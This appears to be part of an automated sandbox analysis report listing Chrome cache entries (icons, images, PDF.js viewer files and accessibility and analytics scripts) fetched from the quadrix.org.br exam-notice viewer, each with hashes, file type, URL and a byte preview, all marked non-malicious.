SHA-512:	20B0ACA31C2853BF48AF6B82C89F6413F8CD940946402D7E9E8E779F7EA9B4F66896BDBDA72FD631469B9DA5694195470F81BB7865E58C1C33A9052B3C498299
Malicious:	false
URL:	https://www.quadrix.org.br/web/images/toolbarButton-presentationMode.png
Preview:	.PNG........IHDR...............7.....IDATx.c .....up.:....../.eP..Q.8.".Q....../.7.....(.......?.w...,.o..G_N^....X....*nN.....#.........!...@........A......f.. .+P..d..$........B.R. ..k._......o.P.H.,p...U..\|.....h.........._.(8......6..C..j..~...@....A.L3..YO7@D!... PG2.U..OAD!\|.(... ..c.............IEND.B`.

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	309
Entropy (8bit):	7.019311728235004
Encrypted:	false
SSDEEP:	6:6v/lhPO6DAJprZO5UrO9T0cM+JWLE5PKT+wmOsUSkfHfZZ8zSjp:6v/7PUfZEUrWM+JWLEACi0kf/4WN
MD5:	273CFFAD049D5B4E1F0A9D7AF149E597
SHA1:	14C3EF60D3979DF9E8D13CF39CAD10ED043F5578
SHA-256:	0A0C8700265901B93FEB0814D2DB720D0E4F0B66EBFA98F717D1DC4E28E36646
SHA-512:	82AD162E40244A791A9B39E42F5FCE43E209696A3FB94A23CF374CE84B09D700405A6D26CB3DB9FC84A0D16A5D4ED0226E1BFC4B7A5D09442B1D8EB785C2A49B
Malicious:	false
URL:	https://www.quadrix.org.br/web/images/toolbarButton-search.png
Preview:	.PNG........IHDR...............7.....IDAT.....J.......4.&m.N..kX.......m9.9...8..c.E.?...=$E...{.....xQ...H.C.......w.1.f...1...-l.W.o...U.n....&%...Z...9....\.N..T..k..1iw....vL..^.\|.h.#Ms\|%..CL.E....^.."........].X..B.#.5.O..Q.9.Q..@k.c.g..w..V.S\q...w.s{.RP?{9{.....".TP......H..7.....IEND.B`.

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (26915)
Category:	downloaded
Size (bytes):	40550
Entropy (8bit):	6.136948118552609
Encrypted:	false
SSDEEP:	768:Xf+f6g9ZU4kUcT121WKaeB58aINNs+TzFqQyj:Gf13g2gKaeBWNNsioj
MD5:	FC4A11DD2D66B6DAD0C03A821E55CCCC
SHA1:	4E18251295197E6A54C267D89FB0786B5F4F4629
SHA-256:	65096B0B01E8115C302FAD8440C9698ACFC344DCB4BB4030CA43AF120B9ECB13
SHA-512:	D72577D0CED620233B0A5A86F567C9303F0B7FCE7743187227553CEAC4FB57A8681DEA2143E23A3F3A1A1A3F9615B17692D486611B3695205B89874DDDEB52FB
Malicious:	false
URL:	https://www.quadrix.org.br/assets/quadrix-basic/scripts/rybenaDOM.js
Preview:	var rybenaRepositoryUrl="http://www.rybena.com,br/RybenaRepository/";var serverUrl="http://www.rybena.com.br/RybenaServer/CodeApplication";var scriptRybenaLoaded=0;var barraLateralSimples="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACoAAABpCAYAAABMD7GZAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAABmJLR0QAAAAAAAD5Q7t/AAAACXBIWXMAAAsSAAALEgHS3X78AAARWElEQVR42s2beXiVxb3HPzPv+54lOdlD2BJ2UYRLUKsoy3VB1FovRdSrti5Ve3v1ui+9qLegV6z2qa3W9tZWtIrailKVilBQpC1KhRASjIgsAQJJCNnXk3NyzrvM/eOEJAeynBO2fJ9nnue8887yeX+/mXln5p0jLpg640YhzP+gnxJIpXCCIBsF7EWo3WYovKW6vr50//79wf6We6T0axJTrmvOHn1xfzEt5RB0HFrCIWpbm2kONAGtzvAhQ/cNHzL0E9Ox39m6detG0zStYwIdrUm01Kzj9eA4lklLuFUWtraO21FTPs7vr/vRueecXeAgni0oKPjINE2nXyb58yVXfaCPn3L1cSONorYpDzbySU0l9U1VjlL2p2HLvmfLli3FcYO+N/PyD/Rxk04MaCcxRYEW/n5oH+FwoN5ynFs3b968Mp4StBuyR1wvk1InCNvixAWbIVJjUmIiuyy8phWcm52Tc6C8vHxbrKC6Y1tIs+3EGrRdPgR3pGbwmhAJza11v7/g3PMPbszf9I+YQLEsnFDopIACaMAtXi+Lwwm+kPK/NnXq1LPy8vKa+gR1bIVunjxQAC9wWWIKK83AaENwD/DTPkFRD

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	247
Entropy (8bit):	6.828940799460846
Encrypted:	false
SSDEEP:	6:6v/lhPO6BshTF9/fQtPHVy+vnc0T/9o77Fcdj57u8m6kCSXgmuzEzYxdVp:6v/7PBshrnYxca9qSdFK8mCSQzZD
MD5:	5F458615BD69935047774BD7223FEB4E
SHA1:	23DB30F4967ED2C4083FD4506708EF27FF8BB1E9
SHA-256:	CCAE946018864B9CFD652042150408BEC7639D0B84E84186B7BC09D0E463F403
SHA-512:	F99B1E9BA4E316D1D3F70288B8CEE115C19516C299AB45B80C0A7880F719DD314F3D434F495595A2753031044EDC4E3B2D9B96D209B6F817495BCAAFD601AD86
Malicious:	false
Preview:	.PNG........IHDR...............7.....IDATx..;..@.E_%.".v...S..nA.....lD.!$E b!X."jH..$...y.`.;.=s..:.."...."M^Kp..M.).7.>......L...0....q.98...g....... 5.....\|B....(.A....g.W.. .D..$h..H9..MXl.B.>Bcl./.k....`V."{].?...}.#...`Lk....IEND.B`.

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (15241), with no line terminators
Category:	downloaded
Size (bytes):	15251
Entropy (8bit):	5.315386992813168
Encrypted:	false
SSDEEP:	192:mq6TgVy+zYw9mVZ5rBO8ynOCJ0qsBeRT49zVHpirOqgZPsyJkGjgvjvLd006WxoB:5ygY+uV1ypJ0yAxHpqwZ0kjujvLdMd
MD5:	B0B78727ECE884E5AE0CCA1B019F25D0
SHA1:	1AA76B4884636725362942822A1996C59D232FAA
SHA-256:	178E6539DB9FF5DFD9214724616BF1391246F04FDEE39178341804240A21D811
SHA-512:	6C7254005D97AE6B82F6709F6518FC536F273149DE8ECC78585576FFE7690486FA8DC100801A63A8A5CECA0AB2EBC77751DAE7C33F3400FF41CF74620906C7FE
Malicious:	false
URL:	https://cdn.jsdelivr.net/gh/spbgovbr-vlibras/vlibras-portal@dev/app/vlibras-plugin.js
Preview:	window.VLibras=function(t){function e(e){for(var n,o,r=e[0],a=e[1],s=0,l=[];s<r.length;s++)o=r[s],Object.prototype.hasOwnProperty.call(i,o)&&i[o]&&l.push(i[o][0]),i[o]=0;for(n in a)Object.prototype.hasOwnProperty.call(a,n)&&(t[n]=a[n]);for(c&&c(e);l.length;)l.shift()()}var n={},i={1:0};function o(e){if(n[e])return n[e].exports;var i=n[e]={i:e,l:!1,exports:{}};return t[e].call(i.exports,i,i.exports,o),i.l=!0,i.exports}o.e=function(t){var e=[],n=i[t];if(0!==n)if(n)e.push(n[2]);else{var r=new Promise((function(e,o){n=i[t]=[e,o]}));e.push(n[2]=r);var a,s=document.createElement("script");s.charset="utf-8",s.timeout=120,o.nc&&s.setAttribute("nonce",o.nc),s.src=function(t){return o.p+""+t+".vlibras-plugin.js"}(t);var c=new Error;a=function(e){s.onerror=s.onload=null,clearTimeout(l);var n=i[t];if(0!==n){if(n){var o=e&&("load"===e.type?"missing":e.type),r=e&&e.target&&e.target.src;c.message="Loading chunk "+t+" failed.\n("+o+": "+r+")",c.name="ChunkLoadError",c.type=o,c.request=r,n[1](c)}i[t]=v

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	168
Entropy (8bit):	6.311338400487053
Encrypted:	false
SSDEEP:	3:yionv//thPl9vtJK6PtKsyxKeEdyxxVgE5k9/8v81DwrBNHcV9A2GjzJ/34t83c9:6v/lhPO6reEwxxl50/8hE9Gz6tVp
MD5:	F8083410D4C36CB0F2A4EE54AC7B4826
SHA1:	5EE6F18DFDACF56039619988BEB8BD1FACA88B6A
SHA-256:	59AA96C1EE3FE2367032B4979EC22BFC1E83E80BB3BA5FE31600655DC6B0955D
SHA-512:	E50B9D12486BDEE69B211B6585A1A9EFA003A378C99C9E8787B75B4A835420E6CC63B41EF770BD4275D50C868058C5448A48C18C4D5ED6AEB6610E15947B32C9
Malicious:	false
URL:	https://www.quadrix.org.br/web/images/toolbarButton-viewThumbnail.png
Preview:	.PNG........IHDR...............7....oIDATx....@.D.iI+.W...3....c.AD.S..1......G/ZX$..O.U.O..S..-ep....R..n..d(b.p.X.7.ep......R..K..-e..].W.'...4...v.T9....IEND.B`.

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 17, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	7402
Entropy (8bit):	7.814101531066309
Encrypted:	false
SSDEEP:	192:/gMdViSpBlff9mawyoufnvZjF7REZhpp3MtQQ:/DViSpzfDVff+ZhHMuQ
MD5:	9244A600A36F650764A9512791792EC8
SHA1:	C1ABF9B89AF7392824F2228312785A899DF224A0
SHA-256:	826D7D78FC6FB07D0546261D93F82E109225AB81BA612B7EEEFEC942DA66F7E9
SHA-512:	E1679FF6081ACEB386D0D719F9FFA89251F2438882308DFFC646E6C531558057BCEDF9946CE85EEB2F2F0B069BA4C03669F861EEE503F72BDE3B88D204CFEE54
Malicious:	false
Preview:	.PNG........IHDR..............,.....acTL........L.-.....fcTL.....................d....3.G....,IDATx.RM..a......D.-I..:x.6..bKK.D...mK.....A..=...N.7..!..@0.....(......3A..w@..z^...K{..}.y...}.q0.[.G.....{.w....8..e..26.ag'6(..kH.j....S.u...Ok....L..s.....tt:...?..r..~.4.._Qq.P...s.,/>.tFEy0..f..A.m.Z@x....].\|~=...ej...Ml.L&2...1.....K\|.".A.S.V..XU.@4.}@.<..r.\|..v.B..0.^..J2.\s8.7...:......;.^.9m.......;B..A.&6.....T...~e.]0.j..t...>B..;9......>..Z....@......+^..#6zB...`..a#.RIN$....4.d........Zc$.y(....v..Z.6G.D........I.V....u.3..66..p......'.b.\|.\..0.\.e.5.(.}.G.k...b~4..r.K....x..I.X.J{{.....&O....1+~.O...@.P....fcTL.....................d..........+fdAT....x.RAh.A.].EXP....%.A..VD.....Hl.=X..f%xj.$..P.`..rH.RP...=..CA6.[.!d.b.6.nh.Iv..q..c..?...g...1.<............[ ..w>......8.V.o..z.&.k.m.a=......N....z...W..v{.Tj4......._.V.....h.3....(....3<.0....W...l......t:}..qB........T..n.P.....L&.=..[...f....( .....7(.,%.H.Q...........

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	16869
Entropy (8bit):	5.153986939634959
Encrypted:	false
SSDEEP:	384:/ex8FpFfDF+FdjX878nb2goLB0jv0rp9M1mtD8FPHX:LrFQXjMoCgIB9gN3
MD5:	50735097FA3C305412813CAFE33BFCA7
SHA1:	024F9B3E860EDB78A662BA7BD9BA92CC05CAAAFD
SHA-256:	56DEA53ECEFA409D06144BF821DD00B89A0ABA5E12839822ACCCD5E83C41A226
SHA-512:	3705E919E0978EC65D36E9037FBBE2597DA3404CDD76E859A0BA2824DE2C6CA9205C362A57E8CB8C94DE779F3E3B1CFAC030CF94146BD379DB412066AA9EDF5A
Malicious:	false
URL:	https://www.quadrix.org.br/web/visualizar.html?file=https://www.quadrix.org.br/Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf
Preview:	<!DOCTYPE html>..<html dir="ltr" mozdisallowselectionprint moznomarginboxes>.<head>.<meta charset="utf-8">.<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">.<meta name="google" content="notranslate">.<meta http-equiv="X-UA-Compatible" content="IE=edge">.<title>PDF.js viewer</title>.<script src="/cdn-cgi/apps/head/p4vv9MANyR7lncHFWaoN14UULso.js"></script><link rel="stylesheet" href="viewer.css">.<script src="compatibility.js" type="68a8ad324930eb9124b8d6fe-text/javascript"></script>.<script type="68a8ad324930eb9124b8d6fe-text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.10.1/jquery.min.js"></script>.<script type="68a8ad324930eb9124b8d6fe-text/javascript" src="/assets/quadrix-basic/scripts/rybenaDOM.js"></script>.<script type="68a8ad324930eb9124b8d6fe-text/javascript" src="//cdn.jsdelivr.net/mobile-detect.js/1.3.3/mobile-detect.min.js"></script>.<script type="68a8ad324930eb9124b8d6fe-text/javascript">.. var md = new MobileDetect(win

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	2417
Entropy (8bit):	7.850504166087918
Encrypted:	false
SSDEEP:	48:qLTTLq0R0S6wfOLB4MA3pYiA4ILrCjXk4KGXxFXJMK0ocflluJg0WmDq5AKGUec:qLnLCS6wfONRACzxLrsk8oKNaLWg0h+X
MD5:	BE7CD9355FA2121FAB8E619ED546CED4
SHA1:	230A3D5E2DFACFA7228F58A559DE5DF3734118F5
SHA-256:	161FB247EDE7ECB867D864863B8E3DE3A93DAAE6286FCE1AB7C3700F55112C9E
SHA-512:	EC893E352214AF962A16DBC8FA4E506187BE673F2AF780C7BA63B76D4710560DBBD26B02F2B6F321FE9109EB460BBE329FC2EBB798ADDDC58E13389157F3C33F
Malicious:	false
URL:	https://www.quadrix.org.br/web/images/texture.png
Preview:	.PNG........IHDR...@...@.............PLTE...,,,...222......%%%...444???'''...000!!!...)))666###999...;;;...===AAAFFF...JJJHHH.........LLL...DDD...NNNWWWQQQ^^^...UUU\\\SSSYYY```bbbiiimmmdddqqqfffooovvvxxxkkk...tttzzz'......:tRNS..........................................................~^.....8IDATx......H..#...U.........G..'.B.....{i.>.@.7q~"..Nk.@.xK.RO5J.16tw..C-..7..j.+.x.u.....n.."W...M.C.E..t4..c6....d.p.j.0!H..y.l......]>...U..J.iX@.....Ns7.6r..JIi.....<.....n..hdAz{r.x.C..T.u-.Do..b..../..9+...<.x[.K....T'...O.Q.zF.?........x....\|....!..$@...N....c...'.\|8.Y1..s...=....XSV...H.a.u+.[P....y.l...q..f....>.@...&}.I..[..C.$.\..rK.P[.4U...+V.S..>....tp...2-.....0_h]...~.U...$.A(.J.Q..t....a..........m...4..\|..5..\.....+....J.m...1.@..\|.aVW.K....[G:A..dd.....KYV........r.\.....O.f..>.7.+1[..{.....~..^b''.Vq.Q<..&+..x....m....bt("Mg/..&..u..N]..=G.......kX[..u.y.3".)gUkF..z.p.."e.96...Lbm.X(.%...{k..e.o#V..z.&.".&...N=i..ECD...........).vp....gUt

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 24 x 24
Category:	downloaded
Size (bytes):	2536
Entropy (8bit):	7.130550282727932
Encrypted:	false
SSDEEP:	48:HHOxP7phJN9S688sDuJz7L2tlXNLMfZHGJ8:HHGPvJN9BzsUavdLMM8
MD5:	E3B20A66ACC22AB63A12B12600F4F526
SHA1:	D3C9CE33A5B2AD35DDF27C993552A95456531896
SHA-256:	1073E34B6E5E5FA770876ECC0E918ECEB9DFC8CC54AD6A3DD4FC451983F9C95F
SHA-512:	4A8BA3D816700E52CEFE34D001DFF0155FE4D5A463B8C451B64671BE2026F7CADEC5A2F7CA085EA302B83B9737D6FD254A4D41BE5DC8674CCBAE411113B3BD12
Malicious:	false
URL:	https://www.quadrix.org.br/web/images/loading-icon.gif
Preview:	GIF89a.....................................vvv......hhh................................................!..NETSCAPE2.0.....!..Created with ajaxload.info.!.......,........... $.$.8eZ...4d......3..<...@.....H.8.a..`.:....I$ .F.B.`LxG.3.......O:-....RJ...TJ..........t...........~."...ds]......)t...-"...i;H>.n.Qg]_......R.3.....GI?.....v$...j3!.!.......,........... $.$.(eZ..Y.$..#Q.#...W...!.;..PH.^.C. ......x4H3.......k..^..a..p..i...Dp.P@y.w`.J..#.....?..y........o...g.....f....'8..{..'C.p`j.n."...2.{.`x...jy.4...C,.4..o#n.$.....!.!.......,........... $.$d.eZ..y.$..#q.cQ..... ....p.88D/(C...G...Z0v#..0. D....A...N.(+.@..x....(@...gUx.kK.).....?K...............$..."...........K.....W......x..?.G...#.W....n.h.K,.....+.....!.!.......,........... $.$..eZ..9....#1 .q.F...O'.....b... .... )...dQ.d".B!.....V.h0p..4.(0.M...@....e.3@.iI.)..'.?I.........@.......,.....#.........5..,.....".E..z...?..@.E...@.....).....*!.!.......,........... $.$. e.....B..."..0..;...('"...

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (332)
Category:	downloaded
Size (bytes):	4525
Entropy (8bit):	5.075716422249535
Encrypted:	false
SSDEEP:	96:3I0CsR9u71h/1fjGY3fxl49XRN6bAQTfGskEJFueLAAUgiO:3hR9u71hdrGIxW5RN2ZFuekvgR
MD5:	DE02D3C5E997C280472D9A6CA0E366AB
SHA1:	5549114FF1B8845B835463256721DCF86E0A0DDE
SHA-256:	4FA26B044545616E5539DCF7DAD5E3FE4E5CDF9161A1019FCC99940027135332
SHA-512:	28B888EE7B6B5F001341FE360E4BB1E7C50C15FC685C350328D1053F08043A6AABFFDEBEE4C7D59628AFC291B2DE72EC0B23AB6EC981A16B3AE461351095C23C
Malicious:	false
URL:	https://www.quadrix.org.br/cdn-cgi/apps/head/p4vv9MANyR7lncHFWaoN14UULso.js
Preview:	;window.CloudflareApps=window.CloudflareApps\|\|{};CloudflareApps.siteId="22d5e53bf2de7f8a91e183b33d701a5b";CloudflareApps.installs=CloudflareApps.installs\|\|{};;(function(){'use strict'.CloudflareApps.internal=CloudflareApps.internal\|\|{}.var errors=[].CloudflareApps.internal.placementErrors=errors.var errorHashes={}.function noteError(options){var hash=options.selector+'::'+options.type+'::'+(options.installId\|\|'').if(errorHashes[hash]){return}.errorHashes[hash]=true.errors.push(options)}.var initializedSelectors={}.var currentInit=false.CloudflareApps.internal.markSelectors=function markSelectors(){if(!currentInit){check().currentInit=true.setTimeout(function(){currentInit=false})}}.function check(){var installs=window.CloudflareApps.installs.for(var installId in installs){if(!installs.hasOwnProperty(installId)){continue}.var selectors=installs[installId].selectors.if(!selectors){continue}.for(var key in selectors){if(!selectors.hasOwnProperty(key)){continue}.var hash=installId+'::'+key

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 450x120, components 3
Category:	dropped
Size (bytes):	9968
Entropy (8bit):	7.915351329868668
Encrypted:	false
SSDEEP:	192:SxP4lM1wb5HrkjKV/n0eKsddkmB41ieN0KEL93UdfuU88MF6y:wPreb5Hrn9n02LPeNlkSdfEjH
MD5:	490D9F602130232874741D28EEED2140
SHA1:	0FB88852778AC7FE94947673B3A3B17BC84F5AD0
SHA-256:	0641F4B8887A3DCB8C4243CBA38C4B639DD0CF18E9265F3B0A6B56F10567E11C
SHA-512:	1AC2BD0C3262E9974359AF02248E16BE9ECB70211E81485A96626F08B5BCF9E44240AE1B66837604EFCFB515F4D2D596C84A7EBAD4F295256D65F4C8D56942C2
Malicious:	false
Preview:	......JFIF.....H.H.....C......................%....,'..+'+17F;14B4+=S>BHJNON/;V\UL[FMNK...C.......$..$K2+2KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK......x............................................G.........................!.1."AQa..q...#2BRr......346..5bst$7...CSTc................................2........................!1A..."23Qaq.#4..$...BR.............?.......$..cFK. ...O...Yg#u.es....\|.B:....."...sm.....g...4....J..F?...R.K.. !.@... ......e..@.... (..@B.. !.BB.......2. ..@............@B.. !.@.....2.W..Q..w{N.4.a6....Wp.sD...G6.w.w?nVKtu.q.4W..{..-wk.0.........=.J.m.....7.G.................]...G.}......x9..1.. ..@...!#(.T.V....s+..G2...T."......EO#........Y...x...Z9...l.F.1..<.[.%%.ci..d......@B...$ ........@.....@... .H@B........ !.BB.....@B.. ,.~..M....!.......g.R..<.-..\.}I.9.. .2.._=..>]U1..Y..............&.%......!.@...(.M..(...N6c.q....Z.w'.l.'..bIf...?[.2W.Rry.:q...=c...j...w...e..$.F..-.GF.C3...z..:..3.B.s...K.qB.. #(H@... .............(H@

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (447), with no line terminators
Category:	downloaded
Size (bytes):	447
Entropy (8bit):	5.278507120909476
Encrypted:	false
SSDEEP:	12:BcoE6MVdar1l6uHn4/NKRoV8BOmt214lo:BcR6MvarWuHeMM84s9lo
MD5:	AD3D4E71DB4E9990624CAFC34FBCA553
SHA1:	7B8D7BD455BC25317D9390E23821B7D2B1534DA5
SHA-256:	594BE57C4A90A1AD99CB5C543036BAE7616B5F3CCC5A69E4701AD9EF89FABD94
SHA-512:	467CF19AB5839FD9EA7ECABB3928B8E6F9820B52DBA3D65F475F1553EA584595ACB959797F11E6255398732E24D9F7D139B77203F6D61A31AA33B5D848F26B78
Malicious:	false
URL:	https://www.quadrix.org.br/cdn-cgi/apps/body/6ps6-p5y2d01PkUzqq17Wmg4RqQ.js
Preview:	;if(CloudflareApps.matchPage(CloudflareApps.installs['5cJEkqzqkwOz'].URLPatterns)){!function e(){var t=document.body\|\|document.querySelector("body");if(t){var a=document.createElement("script");a.src="https://www.googletagmanager.com/gtm.js?id="+CloudflareApps.installs['5cJEkqzqkwOz'].options.container_id,a.async=1,t.appendChild(a)}else setTimeout(e,100)}(),(window.dataLayer=window.dataLayer\|\|[]).push({event:"gtm.js","gtm.start":Date.now()});}

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 64 x 64, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2417
Entropy (8bit):	7.850504166087918
Encrypted:	false
SSDEEP:	48:qLTTLq0R0S6wfOLB4MA3pYiA4ILrCjXk4KGXxFXJMK0ocflluJg0WmDq5AKGUec:qLnLCS6wfONRACzxLrsk8oKNaLWg0h+X
MD5:	BE7CD9355FA2121FAB8E619ED546CED4
SHA1:	230A3D5E2DFACFA7228F58A559DE5DF3734118F5
SHA-256:	161FB247EDE7ECB867D864863B8E3DE3A93DAAE6286FCE1AB7C3700F55112C9E
SHA-512:	EC893E352214AF962A16DBC8FA4E506187BE673F2AF780C7BA63B76D4710560DBBD26B02F2B6F321FE9109EB460BBE329FC2EBB798ADDDC58E13389157F3C33F
Malicious:	false
Preview:	.PNG........IHDR...@...@.............PLTE...,,,...222......%%%...444???'''...000!!!...)))666###999...;;;...===AAAFFF...JJJHHH.........LLL...DDD...NNNWWWQQQ^^^...UUU\\\SSSYYY```bbbiiimmmdddqqqfffooovvvxxxkkk...tttzzz'......:tRNS..........................................................~^.....8IDATx......H..#...U.........G..'.B.....{i.>.@.7q~"..Nk.@.xK.RO5J.16tw..C-..7..j.+.x.u.....n.."W...M.C.E..t4..c6....d.p.j.0!H..y.l......]>...U..J.iX@.....Ns7.6r..JIi.....<.....n..hdAz{r.x.C..T.u-.Do..b..../..9+...<.x[.K....T'...O.Q.zF.?........x....\|....!..$@...N....c...'.\|8.Y1..s...=....XSV...H.a.u+.[P....y.l...q..f....>.@...&}.I..[..C.$.\..rK.P[.4U...+V.S..>....tp...2-.....0_h]...~.U...$.A(.J.Q..t....a..........m...4..\|..5..\.....+....J.m...1.@..\|.aVW.K....[G:A..dd.....KYV........r.\.....O.f..>.7.+1[..{.....~..^b''.Vq.Q<..&+..x....m....bt("Mg/..&..u..N]..=G.......kX[..u.y.3".)gUkF..z.p.."e.96...Lbm.X(.%...{k..e.o#V..z.&.".&...N=i..ECD...........).vp....gUt

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1305)
Category:	downloaded
Size (bytes):	10437
Entropy (8bit):	5.3182572707362
Encrypted:	false
SSDEEP:	192:EE/aKwDfkGQb0NTAHB3i293rP8rw2qVfa62DuK+ZGEc6WmxUEuAeSO1a/:GoGD2F624626K+ZGEGJ5Sy4
MD5:	12C06CF6D65E9371294671508A60D68D
SHA1:	893531B854A2F73E04ABF6F6D116DFA6EEDF26F5
SHA-256:	CF953BF04C9280590BAF72E00B023238D28B54B1B55661420297E83B8C169AE9
SHA-512:	07E3452F7E2F08A8DE6B525065B07259A1748A4516BE049848E7A8598157759F717D1D9F1035629538E0F3C88BB04D4683F49A9040979CAA3BC538AE72D06234
Malicious:	false
URL:	https://www.quadrix.org.br/web/compatibility.js
Preview:	(function compatibilityWrapper(){'use strict';if(typeof PDFJS==='undefined'){(typeof window!=='undefined'?window:this).PDFJS={};}.(function checkTypedArrayCompatibility(){if(typeof Uint8Array!=='undefined'){if(typeof Uint8Array.prototype.subarray==='undefined'){Uint8Array.prototype.subarray=function subarray(start,end){return new Uint8Array(this.slice(start,end));};Float32Array.prototype.subarray=function subarray(start,end){return new Float32Array(this.slice(start,end));};}.if(typeof Float64Array==='undefined'){window.Float64Array=Float32Array;}.return;}.function subarray(start,end){return new TypedArray(this.slice(start,end));}.function setArrayOffset(array,offset){if(arguments.length<2){offset=0;}.for(var i=0,n=array.length;i<n;++i,++offset){this[offset]=array[i]&0xFF;}}.function TypedArray(arg1){var result,i,n;if(typeof arg1==='number'){result=[];for(i=0;i<arg1;++i){result[i]=0;}}else if('slice'in arg1){result=arg1.slice(0);}else{result=[];for(i=0,n=arg1.length;i<n;++i){result[i]=a

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	231
Entropy (8bit):	6.64745826698359
Encrypted:	false
SSDEEP:	6:6v/lhPO6Rsyo61WzFiTuRJ6ViiLc7IcojRMyX1SEs17/p:6v/7PRs6wxRJHioccojqy0R
MD5:	7672D4F212F165173EE3A7D8966C2DEF
SHA1:	CE1743FA94AA54F366DDA3D7D3EDB53EBE30636B
SHA-256:	36327DB20039663509197A1DDF1203F0F17D8A72F391BBE60F1E3C4D4D1E7B18
SHA-512:	95AE07CB7CB641129F0E30C703C4903E7ED714B8DBE45A4B5623E16B328D57474CAC41BB39476B3A393558768BA8E7F94DC0F76B5BDD1787D867E37FAB685273
Malicious:	false
Preview:	.PNG........IHDR...............7.....IDATx.c ......>......v\...?.......Mz.P....Y[.7.......y...7....&*..l.I..r.aB..z..C.......!"@..w.G@..<..9.(.}.....j.E..e....N,.fF.?..0....B.=...{....$. ....l.^.c.g`e`...z..........IEND.B`.

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	247
Entropy (8bit):	6.828940799460846
Encrypted:	false
SSDEEP:	6:6v/lhPO6BshTF9/fQtPHVy+vnc0T/9o77Fcdj57u8m6kCSXgmuzEzYxdVp:6v/7PBshrnYxca9qSdFK8mCSQzZD
MD5:	5F458615BD69935047774BD7223FEB4E
SHA1:	23DB30F4967ED2C4083FD4506708EF27FF8BB1E9
SHA-256:	CCAE946018864B9CFD652042150408BEC7639D0B84E84186B7BC09D0E463F403
SHA-512:	F99B1E9BA4E316D1D3F70288B8CEE115C19516C299AB45B80C0A7880F719DD314F3D434F495595A2753031044EDC4E3B2D9B96D209B6F817495BCAAFD601AD86
Malicious:	false
URL:	https://www.quadrix.org.br/web/images/toolbarButton-download.png
Preview:	.PNG........IHDR...............7.....IDATx..;..@.E_%.".v...S..nA.....lD.!$E b!X."jH..$...y.`.;.=s..:.."...."M^Kp..M.).7.>......L...0....q.98...g....... 5.....\|B....(.A....g.W.. .D..$h..H9..MXl.B.>Bcl./.k....`V."{].?...}.#...`Lk....IEND.B`.

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 17, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	7402
Entropy (8bit):	7.814101531066309
Encrypted:	false
SSDEEP:	192:/gMdViSpBlff9mawyoufnvZjF7REZhpp3MtQQ:/DViSpzfDVff+ZhHMuQ
MD5:	9244A600A36F650764A9512791792EC8
SHA1:	C1ABF9B89AF7392824F2228312785A899DF224A0
SHA-256:	826D7D78FC6FB07D0546261D93F82E109225AB81BA612B7EEEFEC942DA66F7E9
SHA-512:	E1679FF6081ACEB386D0D719F9FFA89251F2438882308DFFC646E6C531558057BCEDF9946CE85EEB2F2F0B069BA4C03669F861EEE503F72BDE3B88D204CFEE54
Malicious:	false
URL:	https://www.quadrix.org.br/web/images/loading-small.png
